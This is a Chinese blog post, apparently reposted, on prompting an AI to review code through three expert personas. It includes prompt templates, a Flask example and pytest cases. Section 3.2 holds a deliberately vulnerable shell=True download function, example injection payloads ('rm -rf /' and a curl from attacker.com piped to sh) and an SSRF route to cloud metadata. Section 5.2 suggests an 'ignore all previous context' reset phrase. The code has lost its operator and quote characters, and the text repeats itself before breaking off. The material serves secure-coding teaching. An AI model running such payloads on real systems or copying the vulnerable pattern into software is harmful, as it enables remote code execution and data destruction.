拓冰网站定制 
1. 为什么一次让AI审查代码只换来一句整体结构清晰今年上半年我做了一件很多开发团队都在做的事把代码直接丢给AI让它做代码审查。结果很失望。一段接口逻辑AI只回了一句整体结构清晰没有明显问题。但同一个接口在我的同事看来至少有三个修改点、一个潜在的空指针风险。那次之后我开始反思问题不在AI的能力而在我提问的方式——审查代码这四个字太宽泛了宽泛到模型只能输出最安全、最中庸的回答。后来我花了几个月时间反复调整最终稳定下来一个工作流让AI在同一份代码上分别扮演三个不同的专家身份——挑刺专家、找漏洞专家、补测试专家。挑刺负责代码质量和可维护性找漏洞负责安全缺陷挖掘补测试负责测试覆盖补齐。三个身份分别跑三遍把审查的目标边界彻底锁死。这篇内容就把我这几个月的提示词设计思路、实测案例、输出示例和踩过的坑完整记录下来。1.1 一次笼统审查只换来一句整体不错先说那个失败的案例。当时我写了一个Flask接口处理订单创建请求功能不复杂。代码如下from flask import Flask, request, jsonify app Flask(__name__) def save_order(order): # 实际会把订单写入数据库并填充 order[id] pass app.route(/api/order, methods[POST]) def create_order(): data request.get_json() if data is None: return jsonify({error: bad request}), 400 user data.get(user, {}) user_id user.get(id) items data.get(items, []) total 0 for item in items: price item.get(price) qty item.get(quantity, 1) total price * qty if total 0: return jsonify({error: empty order}), 400 order { user_id: user_id, items: items, total: total } save_order(order) return jsonify({id: order[id]}), 201我给AI的提示词是请审查这段代码看看有什么问题。AI的输出是这段代码整体实现了订单创建的逻辑结构清晰错误处理基本合理。建议可以增加日志记录。推荐使用类型注解提高可读性。这就是典型的泛泛而谈。它没有发现price可能是None导致total price * qty直接抛TypeError没有发现items中的元素可能是非字典类型也没有发现order[id]在save_order返回前是否一定存在是个问号。而这些恰恰是code review会议里最先被点出来的问题。为什么会这样因为审查代码这个模糊的指令对模型来说意味着在所有维度上做一次轻量扫描。模型的行为机制是倾向于输出平均化的判断——挑不出大毛病就说结构清晰再看不出问题就说建议加日志。它没有被迫在任何一个维度上深入所以给出的结论必然是安全、平滑、没有攻击性的。这和人一样你问一个同事我这篇代码有什么问题他大概率笑着说挺好挺好但你如果问他这个分支在什么情况下会走进来走进来之后会发生什么他必须真正开始读代码。1.2 专家身份拆分的原理提示词边界越窄输出越锋利那次失败之后我做了一个类比一个医生如果挂着全科的牌子你让他看看有什么病他只能给你开血常规和CT单但如果你挂三个不同科室的号心内科只看心脏、感染科只看病原体、影像科只看片子每个科室都按自己的标准做深度检查结果要具体得多。AI也是一样角色设定越明确任务边界越窄它在那个窄范围内投入的注意力就越多。这里有个大模型使用的基本原则输出质量与任务目标明确度强相关。当你把任务限定成只关注代码可维护性忽略安全和测试时模型不会浪费计算资源去覆盖安全维度。它会把所有注意力集中在函数长度、命名、重复代码、异常处理这些点上。反过来当你把任务限定成只关注安全漏洞给出CWE编号和利用路径时它会把精力集中在数据流、危险函数、权限校验上。我用一个表来说明笼统审查和三专家拆分的差距这也是我后来每次都会给身边同事看的对比审查方式关注范围典型输出是否可落地笼统审查一切代码质量良好建议增加日志不可落地挑刺专家可维护性、代码气味、结构第12行 total price * qty 存在None风险直接可改找漏洞专家注入、越权、敏感信息CWE-78 命令注入触发条件如下直接可修补测试专家缺陷回归、边界覆盖参数化用例会覆盖 priceNone 的组合直接可用一句话总结审查代码不是让AI看看有没有问题而是给问题设定方向逼它在特定方向上给出不留情面的答案。三个专家身份的核心逻辑就是把代码审查这个高维度、多目标的复杂任务拆解成三个单目标、单维度的子任务。每个子任务对模型来说都足够具体它的输出质量自然就上来了。2. 挑刺专家怎么调教只谈可维护性不谈安全和测试第一个身份是挑刺专家。它的任务是代码质量和可维护性审查。我给它的人设是从业十五年的资深架构师负责code review时以说话尖锐著称。这个身份设计的目的是让模型敢于批评而不是当老好人。你需要在提示词里明确告诉它这是挑刺不用客气。2.1 挑刺专家提示词设计思路我实际使用的提示词模板如下# 角色 你是一名有15年经验的资深架构师长期负责核心系统的code review。你的风格是尖锐、具体、不留情面但每个批评都必须有理有据。 # 任务 请以挑刺专家的身份审查下面这段代码。你不需要找安全性漏洞也不需要设计测试用例只关注代码质量与可维护性 1. 可读性命名是否有误导性、注释是否正确、逻辑是否易懂 2. 结构性函数是否过长、参数是否过多、是否有重复代码 3. 健壮性异常分支是否缺失、是否存在明显会引发运行时错误的写法 4. 设计问题是否违背了单一职责原则、是否存在隐藏的耦合、是否有不必要的复杂度 # 输出要求 按严重级别分类输出每个问题必须包含 - 代码位置行号或函数名 - 问题描述 - 修改建议 - 为什么必须改一句话讲清影响 严重级别定义 - 严重可能导致运行时错误或逻辑错误 - 建议可以明显改进的结构或风格问题 - 可选不影响正确性但值得注意的点 # 审查对象 python [代码粘贴在这里]几个设计上的关键点。第一明确排除了安全和测试防止模型跑题去讲SQL注入或者覆盖率。第二输出格式强制要求代码位置 问题描述 修改建议 为什么这就逼着模型逐行去看代码而不是概括说逻辑清晰。第三严重级别给出了明确的操作定义这样我拿到报告后可以按级别分配处理优先级。提示词里的角色设定不是装饰它真的会影响模型的行文风格——同样的代码用资深架构师人设跑出来的问题和用初级开发人设跑出来的问题详细程度完全不一样。 ### 2.2 我拿真实接口代码试了一遍AI挑出的问题 把前面那段Flask的订单接口代码喂给挑刺专家后输出是分级的摘录几条 text 【严重】第15行 total price * qty 问题price 来自 item.get(price)而 item 是请求体里任意传入的 JSON 对象。攻击者或前端异常都会导致 price 为 null。此时 total None * 1 会直接抛出 TypeError接口返回 500。 修改建议在累加前判断 price 是否为数值类型不是则返回 400。 为什么必须改当前任何缺少 price 字段的请求都会导致服务器端未处理异常。 【严重】第25行 save_order(order) 之后 return jsonify({id: order[id]}) 问题save_order 是一个外部函数当前函数内无法确认它是否一定填充了 order[id]。如果 save_order 实现中没有给 dict 赋值 id 键这里必然 KeyError。 修改建议先验证 save_order 返回值或者改为返回自定义的响应结构。 为什么必须改这是隐式的契约依赖一旦底层实现变化上层直接崩溃。 【建议】第7行 user data.get(user, {}) 问题data 用 get 设置了默认值但后面的 user_id 直接取用没有判断 user 本身是否为 dict。如果调用方传入 user: null后续 .get 会报 AttributeError。 修改建议校验 user 类型或直接改用 data.get(user, {}).get(id) 并处理 None。 【可选】第5行 data request.get_json() 返回 None 时返回 400 问题错误信息 bad request 太笼统。前端会困惑到底是什么字段不合法建议区分 JSON 格式错误和字段缺失错误。这几条的质量已经远超整体结构清晰的敷衍了。但注意这里面的第二条——order[id]是否存在——属于上下文不足导致的合理质疑。我确认了项目里save_order确实会填充id所以这条是一个误报。但AI并不知道save_order的实现在只看当前函数的前提下它提出这个质疑是合理的。这个现象很重要AI审查永远是基于局部信息的它看不到被调用函数内部实现时会以可能的口吻提出质疑。你需要拿完整上下文去二次判断而不是直接采纳或直接否决。2.3 挑刺结果怎么落地挑刺专家的报告拿到手之后我的处理流程是严重级别的问题逐条人工确认。每条都去代码里找到对应行确认是否真实存在运行时风险。多数情况下AI说得很准尤其是None运算、隐式契约依赖这类问题。建议级别的问题批量过一遍能顺手改的直接改。这个级别的输出通常包含命名问题、异常处理缺失、类型校验缺失——改动成本低收益明确。可选级别的问题记进待办清单不急着改。比如错误信息太笼统这种适合和产品一起讨论。有一个小技巧是让挑刺专家把修改后的完整代码也输出一份。虽然不能直接照抄但它提供的修正版本会展示一种具体的改进方向。我会对照它修改后的代码和自己原来的代码理解它的修改思路再决定怎么落地。尤其是同一个问题AI给出的多种修法比如校验类型 vs 返回400 vs 改成可选链能帮我快速比较不同方案的取舍。3. 找漏洞专家怎么调教把攻击路径和CWE编号逼出来第二个身份是找漏洞专家。这个身份最需要注意的是提示词必须限定它给出可验证的信息。安全审查最怕的就是AI假装找到漏洞说一堆可能存在XX风险的正确废话。所以我的提示词里明确要求必须给CWE编号、触发条件、利用路径和修复建议同时允许它说没有发现问题。3.1 安全审查提示词设计# 角色 你是一名资深安全研究员熟悉OWASP Top 10和CWE分类体系有多年Web应用漏洞挖掘和漏洞复现经验。 # 任务 请以安全专家的身份审查下面这段代码。除了代码本身请特别关注以下几个方面 1. 注入类SQL注入CWE-89、命令注入CWE-78、模板注入、反序列化漏洞 2. 认证与授权身份校验缺失、越权访问、会话管理缺陷 3. 输入验证不可信数据是否流向了危险函数文件操作、系统调用、网络请求 4. 敏感信息硬编码密钥、明文密码、日志泄露、错误信息过度暴露 5. 服务端请求伪造用户可控的URL是否被用于发起任意请求CWE-918 # 输出要求 每个可能的问题按以下格式输出 - 风险等级严重 / 高危 / 中危 / 低危 - 漏洞类型CWE编号 名称 - 代码位置对应行或函数 - 触发条件需要什么样的输入或前置条件 - 利用路径攻击者从入口到最终影响的完整步骤 - 修复建议具体到代码层面的改法 如果代码确实没有典型安全问题请直接说没有发现可利用的安全缺陷。不要为了凑数而强行报告。 # 审查对象 python [代码粘贴在这里]很多人在安全审查上有个误区追求AI给出所有漏洞。但实际上AI更适合做按图索骥——你告诉它危险函数有哪些、常见漏洞模式有哪些它非常擅长在代码里搜索这些模式并给出推理链。这正是提示词里列出一堆CWE编号的原因。模型不需要真的去查CWE数据库但它在训练时见过这些编号对应的漏洞模式给出编号能强制它把分析对齐到具体的、可验证的漏洞类别上而不是说这里存在安全隐患这种没用的废话。 ### 3.2 实例从下载功能代码看SSRF和命令注入怎么被揪出来 下面这段代码是我在测试环境里故意留的一个典型反例一个看似简单的文件下载功能 python import subprocess import os def download_file(url, dest_dir): filename url.rstrip(/).split(/)[-1] dest_path os.path.join(dest_dir, filename) subprocess.run(fwget -O {dest_path} {url}, shellTrue, timeout30) return dest_path这段代码的问题非常典型。把url直接拼进shell命令本身就是命令注入的温床。只要url的值是http://example.com/a; rm -rf /拼出来的命令就变成wget -O /srv/download/a; rm -rf / http://example.com/a; rm -rf /。这是我用找漏洞专家实际跑出来的输出【严重】CWE-78 OS命令注入 位置第4行 subprocess.run(fwget -O {dest_path} {url}, shellTrue) 触发条件url 或 filename 中包含 shell 元字符;、|、、$() 等且攻击者可以控制 url。 利用路径构造 urlhttp://example.com/x;curl http://attacker.com/shell.sh|sh拼接后系统将依次执行 wget 和 curl 命令实现任意命令执行。 修复建议去掉 shellTrue改为参数列表形式subprocess.run([wget, -O, dest_path, url])。同时用 shlex.quote 对文件名做转义。 【高危】CWE-918 服务端请求伪造 (SSRF) 位置第4行 wget 请求的 url 直接来自用户输入 触发条件攻击者可控 url且服务器有内网资源访问权限。 利用路径让服务器访问 http://169.254.169.254/latest/meta-data/ 获取云主机元数据或访问内网管理后台。 修复建议对 url 做协议白名单仅允许 http/https域名解析后校验目标IP不是内网段RFC1918。这份报告最实用的地方在于它把两类完全不同的漏洞从同一段代码里分开了。命令注入是命令拼接导致的SSRF是URL来源不可信导致的。修复方式也不同前者去掉shellTrue改成参数列表后者做协议白名单和IP校验。如果我用笼统提示词AI大概率只会说建议使用安全的方式执行wget根本不会分CWE、给利用路径。我要说明一句这里的修复建议基于通用最佳实践实际落地时还需要结合项目上下文。比如去掉shellTrue后wget的-O参数和文件名拼接是否还会受 shell 元字符影响需要你对照真实代码确认。3.3 关于CVE、新漏洞和情报投喂的实话这一节必须说点实在话。很多人在用AI做漏洞挖掘时会期待它发现最新的CVE漏洞比如热词里提到的CVE-2024-38819、CVE-2002-20001这类。这里有个残酷的事实大语言模型的知识截止日期是训练完成的时间点。它不知道训练数据之后公开发布的新漏洞。你拿一个2024年新曝出的CVE去问AI它要么编一个答案要么直接告诉你我没有相关信息。但实际工作里有一个很有效的做法把漏洞公告的细节喂进上下文让AI做一个按图索骥的审查。比如你想知道项目代码里是否存在CVE-2024-38819那种漏洞模式就把该CVE的官方描述、影响版本、修复补丁diff贴给找漏洞专家然后让它审查你的代码库中是否有类似的写法。注意处理某个具体CVE时最高效的方式不是让AI凭空挖掘而是把漏洞情报当作上下文喂进去让AI成为你的搜索放大器按公告里的模式去遍历代码、标记疑似位置。这样AI的错误率会大幅下降因为它不再依赖自己过时的知识而是基于你提供的最新情报做模式匹配。另外AI在漏洞审查上的另一个价值是经典模式复现。缓冲区溢出、整数溢出、反序列化、JWT算法混淆、Fastadmin任意文件上传这类经典模式在训练语料里有大量案例AI识别起来非常熟练。你在代码里跑一遍它通常能帮你找到不少老问题的变体。但它对新出的、训练数据之外的高危漏洞基本无能为力这部分只能靠人工跟进In和漏洞情报源。这也是为什么我最开始强调AI安全审查是辅助工具不是替代品。4. 补测试专家怎么调教让测试从缺陷清单里长出来前两个专家负责找问题第三个专家负责补测试。补测试专家和前两个有本质区别它不是在真空中写测试而是要基于前两个专家产出的缺陷清单针对性地生成回归测试。这样一来测试用例的目的性非常强——每一个用例都能追溯到某个具体的缺陷而不是单纯为了凑覆盖率。这个设计是我用了三四个月之后才稳定下来的因为早期我直接让AI写单元测试它生成的测试用例看起来花团锦簇实际上大部分在测试无关紧要的细节。4.1 补测试提示词设计# 角色 你是一名资深的测试架构师精通pytest、单元测试、接口自动化、覆盖率分析。你善于根据代码缺陷反推测试用例。 # 任务 以下是代码审查中发现的问题清单以及对应的代码片段。请根据这些问题设计补充测试用例 1. 针对问题清单中的每一个缺陷设计能够复现该缺陷的回归测试 2. 针对代码的核心业务逻辑分支补充边界测试 3. 针对异常输入补充防御性测试 4. 不需要重复已有的常规测试专注在未被覆盖的路径和缺陷回归 # 输出要求 - 使用 pytest 框架 - 每个测试用例要说明它对应哪个缺陷、覆盖了哪个分支、预期结果是什么 - 测试代码要能直接运行不使用 mock 封装不存在的依赖 - 如果代码需要测试客户端如 Flask test_client请直接使用 # 缺陷清单 [粘贴挑刺专家和安全专家的问题列表] # 代码 python [粘贴待测代码]这里最关键的一句话是根据缺陷反推测试。因为直接让AI写测试时它倾向于写一套漂亮但低价值的冒烟测试但当你把具体的缺陷列表贴给它时它就不得不逐个缺陷去设计如何让这个缺陷暴露出来的测试用例。这种由缺陷驱动的测试设计效率和价值远高于无目的的测试生成。 ### 4.2 pytest用例生成实例从必现Bug到参数化边界 还是用前面那个 Flask 订单接口的例子。挑刺专家指出了 price 可能为 None、user 可能不是 dict、items 可能为空等几个问题。补测试专家基于这些缺陷生成的测试如下 python import pytest from app import app pytest.fixture() def client(): app.config[TESTING] True with app.test_client() as c: yield c class TestCreateOrder: pytest.mark.parametrize(payload, expected_status, [ (None, 400), ({}, 400), ({user: {id: 1}}, 400), ({user: {id: 1}, items: []}, 400), ({user: {id: 1}, items: [{price: None, quantity: 1}]}, 500), ({user: {id: 1}, items: [{price: 10, quantity: None}]}, 500), ]) def test_create_order_edge_cases(self, client, payload, expected_status): resp client.post(/api/order, jsonpayload) assert resp.status_code expected_status def test_create_order_empty_quantity_is_one(self, client): resp client.post(/api/order, json{ user: {id: 1}, items: [{price: 20}], }) assert resp.status_code 201注意这里的一个细节price: None的用例预期状态码是500。为什么是500而不是400因为当前代码里total price * qty会直接抛TypeError没有被异常处理捕获。这个用例就是必现Bug回归测试——在修复前的代码上它应该失败返回500在修复后的代码上它应该变成400。跑测试的时候你会看到它先在旧代码上红然后你修好代码再跑变绿。整个过程就是一个标准的TDD循环只是测试用例的设计者是AI。补测试专家还会额外解释每个用例的意图。例如{user: {id: 1}, items: []}这个用例是为了验证空订单必须返回400的业务规则{user: {id: 1}, items: [{price: 20}]}是为了验证quantity 缺省默认为1。这些意图说明对后续维护测试的人非常有帮助。4.3 测试筛选原则别把AI生成的用例全塞进CIAI生成的测试代码有一个非常明显的特征密度高、噪声也高。也就是说它可能一口气产出二十个用例其中十五个有价值五个是在测试鸡毛蒜皮。如果全量塞进CI副作用是真实的——测试运行时间变长代码库被无效用例拖累维护成本随之上涨。我的筛选原则按优先级排序缺陷回归测试必须保留。这是AI补测试专家最大的价值。它能够精确生成在修复前失败、在修复后通过的用例这些用例直接服务于你修复缺陷后的验证。核心业务分支保留。比如空订单返回400、quantity缺省为1、校验通过返回201这类关键业务规则的用例。极端边界测试看情况保留。比如priceNone、quantityNone这类异常输入的用例如果代码修复后预期是400保留下来有防回归价值。如果预期是500比如还没有修复先不急着塞CI等修复后改预期再收。没有断言的伪测试直接剔除。AI偶尔会生成执行了某个函数但没有任何预期断言的测试这类测试除了让覆盖率数字好看没有任何工程意义。另外还有一个易被忽略的点AI生成的测试文件名和测试类名要重写。AI默认生成的名字往往没有业务含义比如test_create_order_edge_cases。你最好根据测试的业务意图改名比如test_order_rejects_item_without_price。这样三个月后你翻测试代码一眼就能看出每个用例在保护什么而不是面对一堆抽象的edge_case。5. 三个专家同跑一套代码的编排方式与踩坑点三个专家身份分别跑一遍听起来简单实际操作中有几个关键编排点会直接影响最终效果。我初期的做法是把三个角色塞进同一个对话里连续切换结果互相污染很严重。后面经过调整跑出了一套稳定的流程。5.1 三步流水线的编排顺序我的推荐顺序是先挑刺再安全最后补测试。原因在于代码审查的三轮之间是递进关系。挑刺专家的输出会导致代码修改。如果先让安全专家和补测试专家分析旧代码等你依据挑刺意见改完代码安全报告的部分结论可能已经失效而补测试专家生成的测试可能也全都跑不起来。先跑挑刺等人工确认并完成代码修改后再跑安全安全审查也可能发现需要改的代码改完之后最后一步补测试才是基于最终代码生成回归用例。整个过程是[原始代码] ├─→ 第1轮挑刺专家 → 问题清单A → 人工确认 → 修改代码 ├─→ 第2轮找漏洞专家基于修改后代码→ 问题清单B → 人工确认 → 修改代码 └─→ 第3轮补测试专家基于最终代码 清单A和B→ 回归测试用例集 ↓ 人工筛选测试用例 → 直接执行验证如果你是在PR的diff review场景下时间和上下文紧张也可以把挑刺和安全并行跑但无论如何补测试这一轮必须在代码定稿后跑。这个顺序我踩过坑——有一回我先跑了补测试专家生成了二十个用例然后根据挑刺意见重构了代码结果一半测试因为函数改名直接红掉白白浪费了一轮工作。5.2 会话隔离是关键很多人在一个对话窗口里连续给AI下指令现在你是架构师审查这段代码...现在你是安全专家审查这段代码...。我实测下来效果远不如独立会话。原因就是上下文污染模型在一个对话中会继承前一个角色的语气、关注点和输出风格当它切换到安全专家身份时可能还会带着架构师的逻辑惯性。尤其是你先让挑刺专家批评了代码再让安全专家审查同样代码时安全专家会倾向于先入为主地认为代码里的问题和代码质量相关从而偏离安全维度。我的做法是三个专家使用三个完全独立的会话窗口如果用API就是三个独立的对话历史。每一次切换角色都必须清空之前的消息记录。如果因为平台限制必须在同一会话里做至少要用明确的分隔符重置上下文比如在切换角色前先发送一条结束上一个任务忽略所有之前的对话上下文请只关注下面这条新指令。但说实话效果依然不如独立会话。5.3 三份报告合并时的去重与冲突处理三个专家可能报出同一个问题。比如price可能为None这条挑刺专家会以代码质量风险报一遍补测试专家会以需要参数化用例覆盖边界报一遍。合并报告时我的处理原则是同一问题的不同描述合并以信息最完整的一份为准。比如挑刺专家说明了total None会抛TypeError补测试专家给出了重现用例那么合并条目就同时包含问题定位和回归测试用例而不是两条重复记录。冲突以安全专家的意见优先但需人工验证。当挑刺专家说这个写法可以优化、安全专家说这个写法会导致命令注入时直接按安全标准处理。安全问题是没有商量余地的。给每个问题编号并标注来源专家。这样在后续修复和测试验证阶段你可以把每个修复操作和测试用例精确关联起来。我给一个实际合并后的条目格式示例条目来源问题描述修复状态关联测试用例A-01挑刺专家CWE-78命令注入url直拼shell已修复REG-01A-02挑刺专家priceNone 导致TypeError已修复REG-02, REG-03A-03补测试专家空订单应返回400但未覆盖已通过REG-04合并报告这一步的价值在于它不仅记录问题还把修复动作、测试用例、人工确认状态串成一条可追溯的链路。这对后续的Code Review和漏洞修复报告很有用尤其是当你需要向团队说明这个问题是怎么发现、怎么验证、怎么防止回退的时候一份完整的合并报告能省掉大量口头解释。6. 实测半年的边界AI可靠什么、不可靠什么用这套三专家工作流跑了半年我逐渐摸清了AI代码审查的可靠边界。这里用一节内容把最真实的情况讲透——哪些场景可以放心交给AI哪些场景千万别指望它。6.1 可靠性分级AI在哪些审查任务上稳定输出我用一个分级表归纳一下实际感受方便你对照自己的场景任务类型AI表现我的处理方式代码可维护性审查命名、重复、结构很可靠严重级别人工确认后直接改注入类安全漏洞命令、SQL、模板可靠验证利用路径的真实可达性敏感信息泄露硬编码密钥、日志很可靠直接采纳单元测试/回归测试生成可靠但噪声高按价值筛选后保留复杂业务逻辑正确性只能发现内部矛盾必须以人工为主架构整体设计优化泛泛而谈不依赖AI新漏洞发现训练数据之后出现基本无效靠人工漏洞情报可靠性最高的是代码可维护性审查。模型在函数太长、命名太烂、重复代码、没有任何校验的None风险这类问题上的判断力已经超过多数初级开发。直接采纳它的严重级别建议基本能把代码质量拉到一个不错的水平。其次是注入类安全漏洞因为这类漏洞有固定的模式特征模型在训练数据里见得太多了。它给出的CWE编号和利用路径虽然偶尔偏理论化但方向基本正确。6.2 最容易忽略的三个坑第一个坑是AI的安全感溢出。当你明确告诉它你是安全专家后它会进入防御模式把很多不可达的路径也报成漏洞。比如我在一个只供内网调用的管理接口上跑了安全审查AI认认真真报了一堆CWE-89 SQL注入的可能性但我看了半天发现那个接口根本没有数据库操作。安全专家人设让模型变得过度警觉所以你拿到安全报告后必须做的事是先判断每个问题是否可达——攻击者能不能真的走到那行代码。不可达的问题记录但降级处理。第二个坑是测试用例的自证清白陷阱。补测试专家生成的用例都是针对它自己发现的问题。如果它在第一轮就没有注意到某个缺陷那它生成的用例也不可能覆盖那个缺陷。这个逻辑很绕但很重要AI无法证明自己没有遗漏它的测试用例只能覆盖它已知的问题不能覆盖它忽略的问题。所以补测试专家永远不能替代你针对业务规则设计的关键路径测试它只能做增量补充。第三个坑是长代码的注意力衰减。当一段代码超过两百行模型对前面部分的记忆会开始模糊审查后半段时可能忽略早期定义的一些变量状态。我的实测感受是超过三百行的函数AI很容易漏掉中间部分的细节。所以喂给AI的代码块要控制大小。如果函数很长拆成多个独立片段分别喂给同一个会话或者干脆先让挑刺专家分段审再汇总。宁可多跑几轮也不要一次性塞一大坨。6.3 我现在的最终工作流经过半年的实测调整我目前的工作流已经稳定成以下样子供你参考日常提交前用挑刺专家快速过一遍代码只处理严重级别的输出。这个动作每次耗时五分钟但能挡掉大部分低级错误。每周一次用找漏洞专家批量审查本周所有新增或变更的代码并结合依赖扫描的结果做交叉验证。安全审查的频率不能太低但也没必要每个commit都跑否则会淹没在噪声里。修复缺陷后把挑刺和安全两份报告中已经确认修复的问题清单连同最终代码交给补测试专家生成回归测试。人工筛选后直接塞进CI。这套流程跑下来我最大的体感是代码评审会议上怎么还有这种低级错误的尴尬场面明显少了。AI三个专家身份承担了初筛的角色把低级的、模式化的、一眼就能看出来的问题在提交前挡掉让人工审查可以把精力集中到真正需要人类判断力的地方——业务逻辑是否正确、架构是否合理、方案是否长期可持续。至于AI代码审查的边界我也已经想明白了。它是一台非常好用的模式匹配放大器任何有明确模式、固定规则、清晰判定标准的审查任务它做得又快又好。但涉及业务语义、系统全局、以及那些连人脑都很难形成的判断链时它只是提供了一份候选清单真正的决策依然得靠人。用不用得上关键是看你愿不愿意把它拆成具体的分工角色以及有没有耐心教会它在每一个角色范围内深度投入。 AI代码审查三专家：挑刺、找漏洞、补测试的提示词设计
1. 为什么一次让AI审查代码只换来一句整体结构清晰今年上半年我做了一件很多开发团队都在做的事把代码直接丢给AI让它做代码审查。结果很失望。一段接口逻辑AI只回了一句整体结构清晰没有明显问题。但同一个接口在我的同事看来至少有三个修改点、一个潜在的空指针风险。那次之后我开始反思问题不在AI的能力而在我提问的方式——审查代码这四个字太宽泛了宽泛到模型只能输出最安全、最中庸的回答。后来我花了几个月时间反复调整最终稳定下来一个工作流让AI在同一份代码上分别扮演三个不同的专家身份——挑刺专家、找漏洞专家、补测试专家。挑刺负责代码质量和可维护性找漏洞负责安全缺陷挖掘补测试负责测试覆盖补齐。三个身份分别跑三遍把审查的目标边界彻底锁死。这篇内容就把我这几个月的提示词设计思路、实测案例、输出示例和踩过的坑完整记录下来。1.1 一次笼统审查只换来一句整体不错先说那个失败的案例。当时我写了一个Flask接口处理订单创建请求功能不复杂。代码如下from flask import Flask, request, jsonify app Flask(__name__) def save_order(order): # 实际会把订单写入数据库并填充 order[id] pass app.route(/api/order, methods[POST]) def create_order(): data request.get_json() if data is None: return jsonify({error: bad request}), 400 user data.get(user, {}) user_id user.get(id) items data.get(items, []) total 0 for item in items: price item.get(price) qty item.get(quantity, 1) total price * qty if total 0: return jsonify({error: empty order}), 400 order { user_id: user_id, items: items, total: total } save_order(order) return jsonify({id: order[id]}), 201我给AI的提示词是请审查这段代码看看有什么问题。AI的输出是这段代码整体实现了订单创建的逻辑结构清晰错误处理基本合理。建议可以增加日志记录。推荐使用类型注解提高可读性。这就是典型的泛泛而谈。它没有发现price可能是None导致total price * qty直接抛TypeError没有发现items中的元素可能是非字典类型也没有发现order[id]在save_order返回前是否一定存在是个问号。而这些恰恰是code review会议里最先被点出来的问题。为什么会这样因为审查代码这个模糊的指令对模型来说意味着在所有维度上做一次轻量扫描。模型的行为机制是倾向于输出平均化的判断——挑不出大毛病就说结构清晰再看不出问题就说建议加日志。它没有被迫在任何一个维度上深入所以给出的结论必然是安全、平滑、没有攻击性的。这和人一样你问一个同事我这篇代码有什么问题他大概率笑着说挺好挺好但你如果问他这个分支在什么情况下会走进来走进来之后会发生什么他必须真正开始读代码。1.2 专家身份拆分的原理提示词边界越窄输出越锋利那次失败之后我做了一个类比一个医生如果挂着全科的牌子你让他看看有什么病他只能给你开血常规和CT单但如果你挂三个不同科室的号心内科只看心脏、感染科只看病原体、影像科只看片子每个科室都按自己的标准做深度检查结果要具体得多。AI也是一样角色设定越明确任务边界越窄它在那个窄范围内投入的注意力就越多。这里有个大模型使用的基本原则输出质量与任务目标明确度强相关。当你把任务限定成只关注代码可维护性忽略安全和测试时模型不会浪费计算资源去覆盖安全维度。它会把所有注意力集中在函数长度、命名、重复代码、异常处理这些点上。反过来当你把任务限定成只关注安全漏洞给出CWE编号和利用路径时它会把精力集中在数据流、危险函数、权限校验上。我用一个表来说明笼统审查和三专家拆分的差距这也是我后来每次都会给身边同事看的对比审查方式关注范围典型输出是否可落地笼统审查一切代码质量良好建议增加日志不可落地挑刺专家可维护性、代码气味、结构第12行 total price * qty 存在None风险直接可改找漏洞专家注入、越权、敏感信息CWE-78 命令注入触发条件如下直接可修补测试专家缺陷回归、边界覆盖参数化用例会覆盖 priceNone 的组合直接可用一句话总结审查代码不是让AI看看有没有问题而是给问题设定方向逼它在特定方向上给出不留情面的答案。三个专家身份的核心逻辑就是把代码审查这个高维度、多目标的复杂任务拆解成三个单目标、单维度的子任务。每个子任务对模型来说都足够具体它的输出质量自然就上来了。2. 挑刺专家怎么调教只谈可维护性不谈安全和测试第一个身份是挑刺专家。它的任务是代码质量和可维护性审查。我给它的人设是从业十五年的资深架构师负责code review时以说话尖锐著称。这个身份设计的目的是让模型敢于批评而不是当老好人。你需要在提示词里明确告诉它这是挑刺不用客气。2.1 挑刺专家提示词设计思路我实际使用的提示词模板如下# 角色 你是一名有15年经验的资深架构师长期负责核心系统的code review。你的风格是尖锐、具体、不留情面但每个批评都必须有理有据。 # 任务 请以挑刺专家的身份审查下面这段代码。你不需要找安全性漏洞也不需要设计测试用例只关注代码质量与可维护性 1. 可读性命名是否有误导性、注释是否正确、逻辑是否易懂 2. 结构性函数是否过长、参数是否过多、是否有重复代码 3. 健壮性异常分支是否缺失、是否存在明显会引发运行时错误的写法 4. 设计问题是否违背了单一职责原则、是否存在隐藏的耦合、是否有不必要的复杂度 # 输出要求 按严重级别分类输出每个问题必须包含 - 代码位置行号或函数名 - 问题描述 - 修改建议 - 为什么必须改一句话讲清影响 严重级别定义 - 严重可能导致运行时错误或逻辑错误 - 建议可以明显改进的结构或风格问题 - 可选不影响正确性但值得注意的点 # 审查对象 python [代码粘贴在这里]几个设计上的关键点。第一明确排除了安全和测试防止模型跑题去讲SQL注入或者覆盖率。第二输出格式强制要求代码位置 问题描述 修改建议 为什么这就逼着模型逐行去看代码而不是概括说逻辑清晰。第三严重级别给出了明确的操作定义这样我拿到报告后可以按级别分配处理优先级。提示词里的角色设定不是装饰它真的会影响模型的行文风格——同样的代码用资深架构师人设跑出来的问题和用初级开发人设跑出来的问题详细程度完全不一样。 ### 2.2 我拿真实接口代码试了一遍AI挑出的问题 把前面那段Flask的订单接口代码喂给挑刺专家后输出是分级的摘录几条 text 【严重】第15行 total price * qty 问题price 来自 item.get(price)而 item 是请求体里任意传入的 JSON 对象。攻击者或前端异常都会导致 price 为 null。此时 total None * 1 会直接抛出 TypeError接口返回 500。 修改建议在累加前判断 price 是否为数值类型不是则返回 400。 为什么必须改当前任何缺少 price 字段的请求都会导致服务器端未处理异常。 【严重】第25行 save_order(order) 之后 return jsonify({id: order[id]}) 问题save_order 是一个外部函数当前函数内无法确认它是否一定填充了 order[id]。如果 save_order 实现中没有给 dict 赋值 id 键这里必然 KeyError。 修改建议先验证 save_order 返回值或者改为返回自定义的响应结构。 为什么必须改这是隐式的契约依赖一旦底层实现变化上层直接崩溃。 【建议】第7行 user data.get(user, {}) 问题data 用 get 设置了默认值但后面的 user_id 直接取用没有判断 user 本身是否为 dict。如果调用方传入 user: null后续 .get 会报 AttributeError。 修改建议校验 user 类型或直接改用 data.get(user, {}).get(id) 并处理 None。 【可选】第5行 data request.get_json() 返回 None 时返回 400 问题错误信息 bad request 太笼统。前端会困惑到底是什么字段不合法建议区分 JSON 格式错误和字段缺失错误。这几条的质量已经远超整体结构清晰的敷衍了。但注意这里面的第二条——order[id]是否存在——属于上下文不足导致的合理质疑。我确认了项目里save_order确实会填充id所以这条是一个误报。但AI并不知道save_order的实现在只看当前函数的前提下它提出这个质疑是合理的。这个现象很重要AI审查永远是基于局部信息的它看不到被调用函数内部实现时会以可能的口吻提出质疑。你需要拿完整上下文去二次判断而不是直接采纳或直接否决。2.3 